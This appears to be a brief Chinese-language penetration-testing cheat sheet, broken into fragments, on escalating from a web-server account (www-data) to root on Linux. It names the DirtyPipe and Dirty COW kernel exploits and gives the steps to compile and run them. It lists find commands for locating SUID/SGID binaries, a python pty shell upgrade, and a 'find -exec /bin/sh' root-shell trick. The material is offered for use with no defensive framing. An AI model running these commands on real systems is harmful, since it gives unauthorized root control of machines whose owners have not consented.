一般通过漏洞(
www-data
)
--------
》本地管理员(
root
)
1、内核提权(脏牛家族)
1.1
先枚举内核信息(得到那些漏洞可以用来提权)
使用对应的提权脚本
以
[CVE-2022-0847] DirtyPipe
为例,下载
exp
编译
exp
gcc
dirtypipez.c
-o
test
#
将
.c
编译成可执行文件
使用
test
文件即可提权
注:尽量保证自己编辑代码的
gcc
版本和使用代码的
gcc
版本一致
否则无法运行,会提示依赖库不存在等问题
脏牛dirtyc0w.c
2、特权命令suid
find
/
-perm -u
=
s
-type
f
2
>/dev/null
#4755
find
/
-perm -g
=
s
-type
f
2
>/dev/null
#
python
-c
"import pty;pty.spawn('/bin/bash');"
拥有交互
shell
界面的命令,若存在
suid
的情况则可以提权
vim
less
more
find
find
testtest
-exec
/bin/sh \;